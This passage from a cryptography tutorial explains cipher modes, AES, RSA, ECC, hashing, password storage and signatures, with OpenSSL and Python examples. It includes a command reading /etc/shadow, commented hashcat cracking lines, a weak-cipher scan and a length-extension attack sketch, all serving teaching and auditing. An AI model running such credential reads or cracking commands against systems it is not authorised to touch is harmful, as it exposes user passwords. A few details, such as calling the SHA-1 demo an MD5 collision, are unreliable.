  The Linux Penguin (ECB mode image encryption):
  Encrypt a bitmap image of a penguin with AES-ECB
  The outline of the penguin is still visible in the ciphertext
  Because identical pixel blocks produce identical ciphertext blocks
  ECB is broken for any data with patterns (text, images, structured data)

CBC (Cipher Block Chaining) — Common, requires care:
  Each block XOR'd with previous ciphertext before encryption
  Requires Initialization Vector (IV) for first block
  IV must be random and unique per message

  Vulnerabilities:
  - Padding oracle attacks (POODLE, CBC padding oracle)
  - IV reuse → information leakage
  - CBC decryption is parallelisable, encryption is not

CTR (Counter Mode) — Recommended:
  Uses block cipher as pseudo-random generator
  Counter value encrypted, XOR'd with plaintext
  Transforms block cipher into stream cipher
  Encryption AND decryption are parallelisable
  Random access within ciphertext possible

GCM (Galois/Counter Mode) — Best practice:
  CTR mode + Galois Message Authentication Code (GMAC)
  Provides both confidentiality AND integrity/authentication
  "Authenticated encryption with associated data" (AEAD)

  This is what TLS 1.3 uses: AES-128-GCM, AES-256-GCM, ChaCha20-Poly1305

  Critical: GCM nonce must NEVER be reused with the same key
  Nonce reuse in GCM → authentication key revealed → all security lost

4.4 AES — Advanced Encryption Standard

AES (Rijndael algorithm, selected by NIST 2001) is the gold standard for symmetric encryption. Understanding how it works illuminates why it is secure.

AES Specifications:
  Block size: 128 bits (16 bytes) — ALWAYS
  Key sizes: 128, 192, or 256 bits
  Rounds: 10 (AES-128), 12 (AES-192), 14 (AES-256)

AES Internal Structure — Substitution-Permutation Network:

State: 4×4 matrix of bytes (128 bits)
┌──┬──┬──┬──┐
│b0│b4│b8│b12│
│b1│b5│b9│b13│
│b2│b6│b10│b14│
│b3│b7│b11│b15│
└──┴──┴──┴──┘

Each round (except last) applies four operations:

1. SubBytes: each byte replaced by substitute from S-box (256-entry lookup table)
   Provides non-linearity (without this, AES would be linear algebra — trivially broken)

2. ShiftRows: row i is shifted i bytes to the left
   Row 0: unchanged
   Row 1: [b1,b5,b9,b13] → [b5,b9,b13,b1]
   Row 2: [b2,b6,b10,b14] → [b10,b14,b2,b6]
   Row 3: [b3,b7,b11,b15] → [b15,b3,b7,b11]
   Provides diffusion across columns

3. MixColumns: each column multiplied by a matrix in GF(2^8)
   Provides diffusion — one input bit affects multiple output bytes

4. AddRoundKey: XOR state with round key (derived from original key via key schedule)

Final round: SubBytes + ShiftRows + AddRoundKey (no MixColumns)
Key schedule: original key expanded into 11 (AES-128) or 15 (AES-256) round keys

Security: No known attacks significantly better than brute force against AES itself
          All known vulnerabilities are implementation-level (timing attacks, cache attacks)

4.5 DES — Data Encryption Standard

DES (IBM/NIST, 1977) was the dominant encryption standard for 20 years. It is now completely broken.

DES Specifications:
  Block size: 64 bits (8 bytes)
  Key size: 56 bits (actually 64 bits, 8 are parity bits)
  Rounds: 16 (Feistel network)

Why DES is broken:
  56-bit key = 2^56 = 72 quadrillion possible keys
  1998: EFF's "Deep Crack" machine cracked DES in 22 hours for $250,000
  2008: FPGA cluster cracked DES in 6.4 days for $10,000
  2012: Cloud computing: DES crackable in hours for ~$100
  Today: DES cracked in minutes on commodity hardware

DES Attacks:
  - Brute force: 2^56 key search (trivial with modern hardware)
  - Differential cryptanalysis: theoretical attacks requiring 2^47 chosen plaintexts
  - Linear cryptanalysis: requires 2^43 known plaintexts
  - Neither more practical than brute force — brute force is already practical

Do not use DES for any purpose.

4.6 3DES (Triple DES)

3DES applies DES three times to extend effective key length.

3DES Variants:
  DES-EEE3: Encrypt-Encrypt-Encrypt with 3 different keys (168-bit key, 112-bit security)
  DES-EDE3: Encrypt-Decrypt-Encrypt with 3 different keys (most common, "Triple DES")
  DES-EDE2: Encrypt-Decrypt-Encrypt with 2 different keys (K1=K3, 112-bit key, 80-bit security)

Why 3DES doesn't give 168-bit security:
  Meet-in-the-Middle attack reduces DES-EDE3 to ~112 bits of security
  Still exponentially better than single DES

Problems with 3DES:
  - 64-bit block size → "birthday bound" problem
  - After 2^32 blocks (~32 GB), collisions become likely
  - SWEET32 attack (CVE-2016-2183): exploits 64-bit block birthday bound
    to recover plaintext from long-lived TLS sessions using 3DES
  - Only ~112 bits of security (not 168)
  - MUCH slower than AES (3× DES operations per block)

NIST deprecated 3DES in 2017 (allowed until 2023, disallowed after)
3DES is still found in: legacy payment systems (PCI-DSS grace period),
old TLS configurations, mainframe systems

4.7 Blowfish and Twofish

Blowfish (Bruce Schneier, 1993):
  Block size: 64 bits (same birthday-bound problem as DES/3DES)
  Key size: 32-448 bits (variable)
  Design: public domain, no patent

  Security: No known significant vulnerabilities against Blowfish itself
  Problem: 64-bit block size (SWEET32 applies)
  Use: bcrypt password hashing algorithm uses modified Blowfish (Eksblowfish)
       bcrypt is still recommended for passwords — Blowfish-derived, not raw Blowfish

  Do not use raw Blowfish for data encryption today.

Twofish (Schneier et al., 1998):
  AES finalist (lost to Rijndael in 2001 selection)
  Block size: 128 bits (no birthday-bound problem)
  Key size: 128, 192, 256 bits
  Public domain, no patent
  Still considered secure — no known practical attacks
  Less deployed than AES (lost the competition)
  Available in: TrueCrypt/VeraCrypt, GPG, some TLS configurations

# Symmetric encryption in practice:

# AES-256-GCM encryption with OpenSSL:
openssl enc -aes-256-gcm \
    -in plaintext.txt \
    -out encrypted.bin \
    -pass pass:"MySecretPassword" \
    -pbkdf2 \
    -iter 100000
# -aes-256-gcm: AES 256-bit in GCM mode (authenticated encryption)
# -pass pass: derive key from password
# -pbkdf2: use PBKDF2 key derivation (not simple MD5)
# -iter 100000: 100,000 iterations of PBKDF2 (makes brute force slower)

# Decryption:
openssl enc -d -aes-256-gcm \
    -in encrypted.bin \
    -out decrypted.txt \
    -pass pass:"MySecretPassword" \
    -pbkdf2 \
    -iter 100000

# AES in Python (cryptography library):
python3 << 'EOF'
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os

# Generate random 256-bit key
key = os.urandom(32)              # 32 bytes = 256 bits

# Generate random 96-bit nonce (12 bytes — recommended for GCM)
nonce = os.urandom(12)

# Create AES-GCM cipher
aesgcm = AESGCM(key)

# Encrypt
plaintext = b"Secret message"
associated_data = b"authenticated but not encrypted metadata"
ciphertext = aesgcm.encrypt(nonce, plaintext, associated_data)
print(f"Ciphertext: {ciphertext.hex()}")
print(f"Length: {len(ciphertext)} bytes (plaintext + 16-byte auth tag)")

# Decrypt (will raise exception if tampered)
try:
    decrypted = aesgcm.decrypt(nonce, ciphertext, associated_data)
    print(f"Decrypted: {decrypted}")
except Exception as e:
    print(f"Authentication failed: {e}")  # Ciphertext was modified
EOF

# Check what cipher a TLS connection uses:
openssl s_client -connect google.com:443 2>/dev/null | grep "Cipher"
# Look for: AES-128-GCM or AES-256-GCM or CHACHA20-POLY1305

# Test if a server still supports broken ciphers:
nmap --script ssl-enum-ciphers -p 443 target.com | grep -E "DES|RC4|NULL|EXPORT"
# Any of these: immediately report — broken ciphers in use

Key Insight: AES-256-GCM is the correct answer for symmetric encryption in 2024. The mode matters as much as the algorithm — AES-ECB is broken regardless of key length. GCM's built-in authentication tag (AEAD) means you get confidentiality and integrity in a single primitive. If you see DES, 3DES, RC4, or ECB mode anywhere in a production system, it is a vulnerability.

5. Asymmetric Encryption — RSA, ECC, Diffie-Hellman

5.1 The Key Exchange Problem — Why Asymmetric Cryptography Exists

Symmetric encryption has a fundamental problem: both parties must share the same key before they can communicate securely. How do you share a key securely with someone you've never met, over an insecure channel?

Asymmetric cryptography (public key cryptography) solves this by using mathematically related key pairs:

Public key: can be shared with anyone
Private key: kept secret, never shared

Key Pair Relationship:

  Private Key                Public Key
  ───────────               ─────────────
  Secret (never share)      Share freely
  Decrypts what public      Encrypts for private
  key encrypted             key holder
  Signs messages            Verifies signature

The magic: public and private keys are mathematically related
but it is computationally infeasible to derive the private key
from the public key (assuming the hard problems hold)

Analogy:
  Public key = padlock (anyone can lock)
  Private key = key to open the padlock

  You give your padlock to Alice
  Alice puts message in box, locks with your padlock
  Only you (private key holder) can open the padlock

5.2 RSA — Rivest-Shamir-Adleman

RSA (1977) is based on the difficulty of factoring large integers.

RSA Key Generation:
1. Choose two large prime numbers p and q (each ~1024-2048 bits)
2. Compute n = p × q (the modulus — public)
3. Compute φ(n) = (p-1)(q-1) (Euler's totient — secret)
4. Choose e such that 1 < e < φ(n) and gcd(e, φ(n)) = 1
   (public exponent — usually 65537 = 2^16 + 1)
5. Compute d = e^(-1) mod φ(n) (private exponent)

Public key:  (n, e)
Private key: (n, d)  [also need p, q for efficient computation]

RSA Encryption (message M):
  Ciphertext C = M^e mod n

RSA Decryption:
  Message M = C^d mod n

Security: Given n, find p and q (integer factorisation)
  This is computationally hard for large n (2048+ bits)

RSA Key Sizes and Security:
  1024-bit: BROKEN (factorable since 2010, do not use)
  2048-bit: Currently secure minimum (recommended for legacy compat)
  3072-bit: Post-2030 recommendation
  4096-bit: High-security applications

RSA Attack History:

RSA-768 factored (2009): 768-bit RSA key factored using 30 years of CPU time
RSA-1024: Not yet factored but academic consensus: should not be used
ROCA vulnerability (CVE-2017-15361):
  Infineon Technologies RSA key generation library flaw
  Generated keys with detectable prime patterns
  Allowed factoring 1024-bit keys in <1 hour, 2048-bit in ~2 weeks
  Affected: YubiKey, TPM chips, smart cards
  1.25 billion keys potentially vulnerable

Bleichenbacher's attack (1998, recurring as ROBOT 2017):
  RSA PKCS#1 v1.5 padding oracle
  If server responds differently to valid vs invalid padding:
  Attacker can recover plaintext of RSA-encrypted messages
  Requires ~1 million queries to server
  Affected F5, Citrix, Cisco, Palo Alto and others in 2017
  ROBOT (Return Of Bleichenbacher's Oracle Threat) - 19 years after original

5.3 ECC — Elliptic Curve Cryptography

ECC is based on the algebraic structure of elliptic curves over finite fields.

Elliptic Curve:
  y² = x³ + ax + b (over a finite field GF(p))

  Standard curves (NIST):
  P-256 (secp256r1): 256-bit, 128-bit security
  P-384 (secp384r1): 384-bit, 192-bit security
  P-521 (secp521r1): 521-bit, 260-bit security

  Alternative curves (more trusted implementation properties):
  Curve25519: Ed25519 signatures, X25519 key exchange (preferred)
              Designed by Daniel Bernstein, no NIST involvement
              No concerns about NIST/NSA backdoor in curve parameters
              Used in: Signal, TLS 1.3 key exchange, SSH keys, WireGuard

ECC Key Exchange (ECDH — Elliptic Curve Diffie-Hellman):
  1. Alice generates private key a, computes public key A = a×G (G = generator point)
  2. Bob generates private key b, computes public key B = b×G
  3. Alice computes shared secret: S = a×B = a×(b×G) = (ab)×G
  4. Bob computes shared secret: S = b×A = b×(a×G) = (ab)×G
  Both get the same shared secret without ever transmitting it

ECC Signatures (ECDSA — Elliptic Curve Digital Signature Algorithm):
  Sign with private key, verify with public key
  Much shorter signatures than RSA for equivalent security:
  RSA-2048 signature: 256 bytes
  ECDSA-256 signature: 64 bytes

Advantage over RSA:
  256-bit ECC ≈ 3072-bit RSA in security
  Shorter keys = faster computation, less storage, smaller certificates
  TLS 1.3 exclusively uses ECDHE for key exchange (no RSA key exchange)

5.4 Diffie-Hellman Key Exchange

DH (1976) was the first public key exchange protocol published. It solves key distribution without ever transmitting the key.

Classic DH (finite field):

1. Public parameters: prime p, generator g (both public, known to everyone)

2. Alice: chooses secret a, computes A = g^a mod p (sends A to Bob)
3. Bob:   chooses secret b, computes B = g^b mod p (sends B to Alice)

4. Alice: computes S = B^a mod p = (g^b)^a mod p = g^(ab) mod p
5. Bob:   computes S = A^b mod p = (g^a)^b mod p = g^(ab) mod p

Both get the same S = g^(ab) mod p — the shared secret
Attacker sees: p, g, A=g^a mod p, B=g^b mod p
To find S: must solve discrete logarithm problem (find a from g^a mod p)
This is computationally hard for large p

DH Key Sizes:
  1024-bit: deprecated (Logjam attack showed feasibility of precomputation)
  2048-bit: minimum acceptable
  3072-bit: recommended

Ephemeral DH (DHE / ECDHE):
  New a, b generated for each session
  Provides: Perfect Forward Secrecy (PFS)
  If long-term key (private key) is compromised later:
  Past sessions cannot be decrypted (each had unique ephemeral keys)

  CRITICAL SECURITY PROPERTY:
  RSA key exchange (static): compromise private key → decrypt ALL past sessions
  ECDHE: compromise private key → can impersonate server, but past sessions safe

  TLS 1.3 mandates ECDHE — forward secrecy is no longer optional

# Asymmetric cryptography in practice:

# Generate RSA key pair:
openssl genrsa -out private.pem 4096           # Generate 4096-bit RSA private key
openssl rsa -in private.pem -pubout -out public.pem  # Extract public key

# View key details:
openssl rsa -in private.pem -text -noout | head -20
# Shows: modulus, public exponent (65537), private exponent, primes

# Generate ECC key pair (preferred):
openssl ecparam -name prime256v1 -genkey -noout -out ec_private.pem  # P-256
openssl ec -in ec_private.pem -pubout -out ec_public.pem
# Or use Curve25519 (preferred):
openssl genpkey -algorithm X25519 -out x25519_private.pem
openssl pkey -in x25519_private.pem -pubout -out x25519_public.pem

# RSA encrypt/decrypt:
echo "Secret message" > plaintext.txt
openssl rsautl -encrypt -inkey public.pem -pubin -in plaintext.txt -out encrypted.bin
openssl rsautl -decrypt -inkey private.pem -in encrypted.bin -out decrypted.txt
cat decrypted.txt

# Check a server's public key:
openssl s_client -connect google.com:443 2>/dev/null | \
    openssl x509 -noout -text | grep -E "Public Key Algorithm|Public-Key:"
# Shows: RSA 2048-bit or EC P-256 etc.

# Python - RSA encryption:
python3 << 'EOF'
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes, serialization

# Generate 2048-bit RSA key pair
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()

# Encrypt with public key (OAEP padding — correct padding scheme)
message = b"Secret message"
ciphertext = public_key.encrypt(
    message,
    padding.OAEP(
        mgf=padding.MGF1(algorithm=hashes.SHA256()),
        algorithm=hashes.SHA256(),
        label=None
    )
)
print(f"Encrypted: {ciphertext[:20].hex()}... ({len(ciphertext)} bytes)")

# Decrypt with private key
plaintext = private_key.decrypt(
    ciphertext,
    padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),
                 algorithm=hashes.SHA256(), label=None)
)
print(f"Decrypted: {plaintext}")
EOF

Key Insight: RSA and ECC solve the key distribution problem but are NOT used to encrypt actual data at scale — they are too slow. In practice, asymmetric cryptography is used to securely exchange a symmetric key, which then encrypts the actual data. This hybrid approach (asymmetric for key exchange, symmetric for data encryption) is exactly how TLS works.

6. Hash Functions — MD5, SHA-1, SHA-256, SHA-3

6.1 What Hash Functions Are

A cryptographic hash function takes any input (any size) and produces a fixed-size output (digest/hash) with specific mathematical properties.

Hash Function Properties (required for security):

1. Deterministic: Same input → always same output
   hash("Hello") → always produces the same hash

2. Fixed Output Size: Regardless of input length
   hash("a") → 256 bits
   hash(entire_movie.mp4) → 256 bits (same length)

3. One-Way (Preimage Resistance):
   Given H, computationally infeasible to find M where hash(M) = H
   Cannot reverse the hash to get input

4. Second Preimage Resistance:
   Given M1, computationally infeasible to find M2 where hash(M1) = hash(M2)
   Cannot find a different input with the same hash

5. Collision Resistance:
   Computationally infeasible to find ANY M1, M2 where hash(M1) = hash(M2)
   (Note: collisions MUST exist — infinite inputs, finite outputs)
   But finding them should be computationally infeasible

6. Avalanche Effect: Small change → completely different output
   hash("Hello") → "2cf24d..."
   hash("hello") → "b94d27b9..."  (completely different — 1 bit change)
   This prevents any correlation between input and output

6.2 Hash Algorithms Comparison

Algorithm  Output   Status         Best Attack           Security
──────────────────────────────────────────────────────────────────────────────
MD5        128-bit  BROKEN         Collision: 2009       NONE for integrity
                                   (Flame malware used   DO NOT USE
                                   MD5 collision for
                                   code signing bypass)
SHA-1      160-bit  BROKEN         SHAttered (2017):     DO NOT USE
                                   Google/CWI computed   for security
                                   first SHA-1 collision purposes
                                   Cost: ~$100,000 GPU
SHA-224    224-bit  Deprecated     Theoretical only      Acceptable transitional
SHA-256    256-bit  SECURE         No practical attack    128-bit security
                                   known                  USE THIS
SHA-384    384-bit  SECURE         No practical attack    192-bit security
SHA-512    512-bit  SECURE         No practical attack    256-bit security
SHA-3-256  256-bit  SECURE         Different design       128-bit security
                                   from SHA-2 family     Use for diversity
BLAKE2b    512-bit  SECURE         No practical attack    256-bit security
                                                          Faster than SHA-3
BLAKE3     256-bit  SECURE         No practical attack    128-bit security
                                                          Fastest modern hash

6.3 MD5 — Broken

MD5 (Ronald Rivest, 1992):
  Output: 128-bit (32 hex characters)

Timeline of MD5's death:
  1993: Den Boer and Bosselaers: theoretical weaknesses found
  1996: Dobbertin: MD5 compression function collisions found (partial break)
  2004: Wang et al.: first full MD5 collisions computed
         Cost: hours on a laptop
  2005: Lenstra et al.: demonstrated MD5-based X.509 certificate collision
         Two different certificates with the same MD5 hash
  2008: CMU/Sotirov: rogue CA certificate using MD5 collision
         Created fraudulent intermediate CA certificate trusted by all browsers
         Full HTTPS impersonation of any website theoretically possible
  2012: Flame malware: used MD5 collision to forge Microsoft code-signing certificate
         Malware appeared to be legitimately signed by Microsoft
         Affected: Iranian nuclear programme (likely)

MD5 in security today:
  NEVER use for: passwords, digital signatures, certificates, any security purpose
  MAY use for: non-security file deduplication, non-security checksums
               (but SHA-256 is equally fast and secure — just use SHA-256)
  Found in: legacy systems, old configurations, some OT firmware update checks

6.4 SHA-1 — Broken

SHA-1 (NIST, 1995):
  Output: 160-bit (40 hex characters)

Timeline:
  2005: Xiaoyun Wang: theoretical collision attack (2^69 operations vs 2^80 ideal)
  2007: NIST recommends migration away from SHA-1
  2011: CA/Browser Forum: ban SHA-1 certificates after 2015
  2017: SHAttered attack (Google/CWI Amsterdam):
         First SHA-1 collision computed
         Two different PDF files with IDENTICAL SHA-1 hashes
         Cost: 9 quintillion SHA-1 computations = ~$100,000 in cloud computing
         Same PDF files have different content but same SHA-1 hash

  2020: Chosen-prefix collision: find collision given arbitrary prefixes
         More powerful than identical-prefix collision
         Cost reduced to ~$50,000

Impact of SHAttered:
  Git uses SHA-1 internally (aware, mitigations added: SHA-256 migration ongoing)
  Any SHA-1-based integrity check can potentially be bypassed

SHA-1 in security today:
  NEVER use for: digital signatures, certificates, TLS, code signing
  Legacy OT concern: many industrial firmware update mechanisms use SHA-1
                     for integrity verification — still vulnerable to SHAttered
                     type attacks on controlled devices

6.5 SHA-256 and SHA-3

SHA-256 (NIST, 2001) — Part of SHA-2 family:
  Output: 256-bit (64 hex characters)
  Internal structure: Merkle-Damgård construction with Davies-Meyer compression
  No practical attacks known
  Used in: Bitcoin, TLS, code signing, most modern security applications

SHA-3 (Keccak, NIST standardised 2015):
  Different internal structure from SHA-2 (sponge construction)
  Not vulnerable to length extension attacks (SHA-2 is)
  SHA-3-256 output: 256-bit
  Adoption: slower (SHA-2 still dominant)
  Use case: when diversity from SHA-2 is needed (defence against future SHA-2 attacks)

Length Extension Attack (SHA-2 weakness, not SHA-3):
  Given H(m) and len(m) but NOT m:
  Attacker can compute H(m || padding || extension) without knowing m

  Attack scenario:
  API: sign request with SHA-256(secret_key || request_params)
  Attacker: knows H(secret_key || "user=alice")
            Can compute H(secret_key || "user=alice" || padding || "&admin=true")
            Without knowing secret_key!

  Fix: use HMAC instead of raw hash for message authentication
  HMAC is not vulnerable to length extension attacks

# Hash function demonstrations:

# Calculate hashes of same file:
echo "Hello World" > test.txt
md5sum test.txt         # MD5: e59ff97941044f85df5297e1c302d260
sha1sum test.txt        # SHA1: 648a6a6ffffdaa0badb23b8baf90b6168dd16b3a
sha256sum test.txt      # SHA256: d2a84f4b8b650937ec8f73cd8be2c74add5a911ba64df27458ed8229da804a26
sha512sum test.txt      # SHA512: (128 hex chars)
b2sum test.txt          # BLAKE2b (package: b2sum)

# Verify file integrity (download verification):
wget https://example.com/software.tar.gz
wget https://example.com/software.tar.gz.sha256sum
sha256sum -c software.tar.gz.sha256sum
# "software.tar.gz: OK" = file not tampered

# Demonstrate avalanche effect:
python3 << 'EOF'
import hashlib

msg1 = b"Hello World"
msg2 = b"Hello world"  # Only capital W changed

h1 = hashlib.sha256(msg1).hexdigest()
h2 = hashlib.sha256(msg2).hexdigest()

print(f"SHA-256('Hello World'): {h1}")
print(f"SHA-256('Hello world'): {h2}")

# Count differing bits:
b1 = int(h1, 16)
b2 = int(h2, 16)
diff = bin(b1 ^ b2).count('1')
print(f"Differing bits: {diff} out of 256 ({diff/256*100:.1f}%)")
# Approximately 128 bits differ (50%) — avalanche effect
EOF

# Demonstrate MD5 collision (SHAttered file pair):
# Download the two PDF files that have same SHA-1:
# wget https://shattered.io/static/shattered-1.pdf
# wget https://shattered.io/static/shattered-2.pdf
# sha1sum shattered-1.pdf shattered-2.pdf  # IDENTICAL SHA-1
# sha256sum shattered-1.pdf shattered-2.pdf  # DIFFERENT SHA-256

# HMAC (keyed hash, MAC):
python3 -c "
import hmac, hashlib
key = b'secret_key'
message = b'user=alice&action=transfer&amount=1000'
mac = hmac.new(key, message, hashlib.sha256).hexdigest()
print(f'HMAC-SHA256: {mac}')
# Attacker cannot forge this without knowing the key
# Not vulnerable to length extension attacks
"

7. Salt and Pepper — Password Hashing

7.1 Why Naive Password Hashing Fails

Simply hashing passwords and storing the hash is insufficient protection. Two attacks defeat it:

Attack 1 — Rainbow Tables:
  Precompute hashes of millions of common passwords:
  MD5("password")  = "5f4dcc3b5aa765d61d8327deb882cf99"
  MD5("123456")    = "e10adc3949ba59abbe56e057f20f883e"
  MD5("admin")     = "21232f297a57a5a743894a0e4a801fc3"

  Breach database → look up hash in precomputed table → plaintext in milliseconds
  No computation needed — just lookup

  Countermeasure: Salt (makes precomputation impossible)

Attack 2 — Dictionary Attack:
  Hash common passwords and compare to stolen hashes
  For each candidate password: compute hash → compare
  GPU can compute billions of SHA-256 hashes per second

  Countermeasure: Slow hash functions (bcrypt, scrypt, Argon2)

7.2 Salt

A salt is a random value unique to each password, added before hashing.

WITHOUT SALT:
  User A: password "letmein" → SHA-256 → "b3fba..."
  User B: password "letmein" → SHA-256 → "b3fba..."

  Same password → same hash
  Attacker sees: User A and B have same hash → same password
  Crack one → crack both
  Rainbow table works: "b3fba..." → "letmein"

WITH SALT:
  User A: password "letmein" + salt "xK7mP2" → SHA-256 → "a1b2c3..."
  User B: password "letmein" + salt "9qRnL5" → SHA-256 → "z9y8x7..."

  Same password → DIFFERENT hashes (different salts)
  Attacker must crack each hash independently
  Rainbow tables are useless (different salt = different table needed per user)

  Salt must be:
  - Random (generated with CSPRNG)
  - Unique per password (even same user resetting password gets new salt)
  - Stored alongside the hash (not secret — attacker who gets DB gets salt too)
    But that's OK — salt defeats rainbow tables even when known
  - Long enough: 16+ bytes (128+ bits)

bcrypt (Blowfish-based, 1999):
  Incorporates salt automatically
  Output format: $2b$12$SALT22CHARS.HASH31CHARS
    $2b$ = bcrypt version
    12   = cost factor (2^12 rounds = 4096 iterations)
    next 22 chars = salt (128 bits)
    last 31 chars = hash

  Cost factor: controls speed (and therefore brute-force resistance)
  Higher cost = slower hash = more resistant to brute force
  Recommendation: choose cost factor so hashing takes 100-300ms
  Increase cost factor over time as hardware gets faster

Argon2 (Password Hashing Competition winner, 2015):
  Three variants:
  Argon2d: data-dependent, resists GPU cracking
  Argon2i: data-independent, resists side-channel attacks
  Argon2id: hybrid, RECOMMENDED for passwords

  Parameters: time cost, memory cost, parallelism
  Memory cost: makes hardware attacks (ASIC/GPU) expensive
  Argon2id(time=3, memory=64MB, parallel=4) recommended by OWASP (2024)

7.3 Pepper

A pepper is an additional secret value added to passwords before hashing, stored separately from the database (in application code, HSM, or configuration).

WITH SALT + PEPPER:
  password + salt + pepper → hash

  Storage:
  Database: salt + hash (attacker who breaches DB gets these)
  Application/HSM: pepper (attacker who only breaches DB doesn't have this)

  Even with: stolen database + knowing salt + knowing algorithm
  Attacker cannot crack without pepper
  Must also breach application server or HSM

  Pepper requirements:
  - HIGH entropy (256 bits random)
  - Different from the salt
  - Stored separately from the database (application config, HSM)
  - Never logged or exposed in error messages
  - Rotate with re-hashing (requires all users to re-authenticate)

Limitations:
  If attacker compromises BOTH database AND application server: both salt and pepper available
  Pepper is only effective if the attacker has access to ONE but not both

Combined: salt + pepper + slow hash (Argon2id or bcrypt) is the current gold standard

# Password hashing in practice:

# bcrypt in Python:
python3 << 'EOF'
import bcrypt
import time

password = b"UserPassword123!"
pepper = b"AppSecretPepper256BitRandom"  # Store in app config, not DB

# Hash (bcrypt handles salt automatically)
peppered = password + pepper
start = time.time()
hashed = bcrypt.hashpw(peppered, bcrypt.gensalt(rounds=12))
elapsed = time.time() - start
print(f"bcrypt hash: {hashed.decode()}")
print(f"Time to hash: {elapsed:.3f}s (should be ~100-300ms)")

# Verify:
is_valid = bcrypt.checkpw(peppered, hashed)
print(f"Password valid: {is_valid}")

# Wrong password:
wrong = b"WrongPassword" + pepper
is_valid = bcrypt.checkpw(wrong, hashed)
print(f"Wrong password valid: {is_valid}")  # False
EOF

# Argon2id in Python:
python3 << 'EOF'
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError

# OWASP recommended parameters
ph = PasswordHasher(time_cost=3, memory_cost=65536, parallelism=4, hash_len=32, salt_len=16)
# time_cost=3: 3 iterations
# memory_cost=65536: 64MB RAM (makes GPU/ASIC attacks expensive)
# parallelism=4: use 4 threads

password = "UserPassword123!"
pepper = "AppSecretPepper"

hash_val = ph.hash(password + pepper)
print(f"Argon2id hash: {hash_val[:50]}...")

# Verify:
try:
    ph.verify(hash_val, password + pepper)
    print("Password valid")
except VerifyMismatchError:
    print("Password invalid")
EOF

# Check what hash algorithm is used in /etc/shadow:
sudo cat /etc/shadow | head -3 | cut -d: -f2 | cut -c1-5
# $6$ = SHA-512 (acceptable for system use)
# $5$ = SHA-256
# $y$ = yescrypt (best, modern Linux default)
# $2b$ = bcrypt
# Blank or no $ = no password (check immediately!)

# Crack example hashes to understand speed difference:
# hashcat -m 0 hash.txt wordlist.txt        # MD5: billions/sec
# hashcat -m 3200 hash.txt wordlist.txt     # bcrypt: thousands/sec
# hashcat -m 1800 hash.txt wordlist.txt     # SHA-512crypt: millions/sec
# Speed difference: MD5 = 1,000,000× faster than bcrypt
# This is exactly why bcrypt for passwords matters

Key Insight: Password storage security is not about using "a hash" — it is about using a purpose-built, slow password hashing function (Argon2id or bcrypt) with a random unique salt. SHA-256(password) is not password storage — it is broken password storage. The goal is to make brute forcing so slow that even a database breach yields no crackable passwords within an attacker's operational window.

8. Digital Signatures

8.1 What Digital Signatures Provide

A digital signature provides three guarantees simultaneously:

Authentication: The message came from the claimed sender (they have the private key)
Integrity: The message has not been modified since signing
Non-repudiation: The sender cannot deny having sent it (only they have the private key)

Digital Signature Process:

SIGNING (sender with private key):
  Message M → Hash(M) → Sign with Private Key → Signature S
  Send: (M, S)

VERIFICATION (receiver with public key):
  Receive: (M, S)
  Compute: Hash(M) → H1
  Decrypt: S with Public Key → H2
  Verify:  H1 == H2?
    YES: signature valid (M not tampered, came from key holder)
    NO:  signature invalid (M modified, or wrong signer)

Why hash first?
  RSA can only sign data ≤ key size (2048 bits)
  Hash reduces any-size message to fixed output (256 bits for SHA-256)
  Sign the hash, not the message

  RSA-PSS (Probabilistic Signature Scheme) — correct:
  Uses random salt, provably secure, RECOMMENDED

  RSA-PKCS1v15 — legacy:
  Deterministic, older vulnerabilities, still widely used but avoid for new systems

  ECDSA (Elliptic Curve Digital Signature Algorithm):
  Based on ECC discrete log problem
  256-bit signature (much shorter than RSA-2048's 256-byte signature)
  Requires cryptographically random k value per signature

  Critical ECDSA vulnerability: k reuse
  If same k used twice with different messages:
  Private key can be recovered algebraically

  2010: PlayStation 3 used constant k in ECDSA → private key recovered
  2013: Android Bitcoin wallet ECDSA k reuse → keys stolen

8.2 Code Signing

Code Signing: applying digital signatures to software to verify authenticity

Windows Authenticode:
  Developer signs executable with private key (from certificate authority)
  Windows verifies signature before execution (if policy enforced)
  "Published by: Microsoft Corporation" with valid chain → trusted
  Self-signed → warning
  No signature → warning or block

  Attack: steal code signing certificate and private key
  Example: Stuxnet used stolen certificates from Realtek and JMicron
           to sign kernel drivers → bypassed Windows driver signing requirement

Linux Package Signing:
  Debian/Ubuntu: GPG signatures on packages + repository metadata
  RPM: GPG signatures on packages
  apt: verifies package signatures automatically

  Verify GPG signature:
  gpg --verify file.sig file

Certificate Transparency (CT):
  All publicly trusted TLS certificates must be logged to CT logs
  Allows monitoring for unexpected certificates for your domains
  Tools: crt.sh, certspotter, Google CT

SSH Host Key Verification:
  SSH server presents public key fingerprint
  Client verifies against known_hosts
  First connection: TOFU (Trust On First Use) — user must verify

# Digital signatures in practice:

# Sign a file with private key:
openssl dgst -sha256 -sign private.pem -out signature.bin document.txt

# Verify signature:
openssl dgst -sha256 -verify public.pem -signature signature.bin document.txt
# "Verified OK" = authentic and unmodified

# Sign with GPG:
gpg --gen-key                                    # Generate GPG key pair
gpg --sign --armor document.txt                  # Sign (creates document.txt.asc)
gpg --verify document.txt.asc document.txt       # Verify signature

# Python - sign and verify:
python3 << 'EOF'
from cryptography.hazmat.primitives.asymmetric import ec, utils
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.exceptions import InvalidSignature

# Generate EC key pair (P-256)
private_key = ec.generate_private_key(ec.SECP256R1())
public_key = private_key.public_key()

# Sign message
message = b"This document is authentic"
signature = private_key.sign(message, ec.ECDSA(hashes.SHA256()))
print(f"Signature: {signature.hex()[:40]}... ({len(signature)} bytes)")

# Verify - original message:
try:
    public_key.verify(signature, message, ec.ECDSA(hashes.SHA256()))
    print("Signature VALID")
except InvalidSignature:
    print("Signature INVALID")

# Verify - tampered message:
tampered = b"This document is authentic and has extra admin=true"
try:
    public_key.verify(signature, tampered, ec.ECDSA(hashes.SHA256()))
    print("Tampered signature VALID")  # Should never reach here
except InvalidSignature:
    print("Tampered message: Signature INVALID — tampering detected!")
EOF

# Check certificate signature:
openssl s_client -connect google.com:443 2>/dev/null | \
    openssl x509 -noout -text | grep -A3 "Signature Algorithm"

9. PKI — Public Key Infrastructure

9.1 The Problem PKI Solves

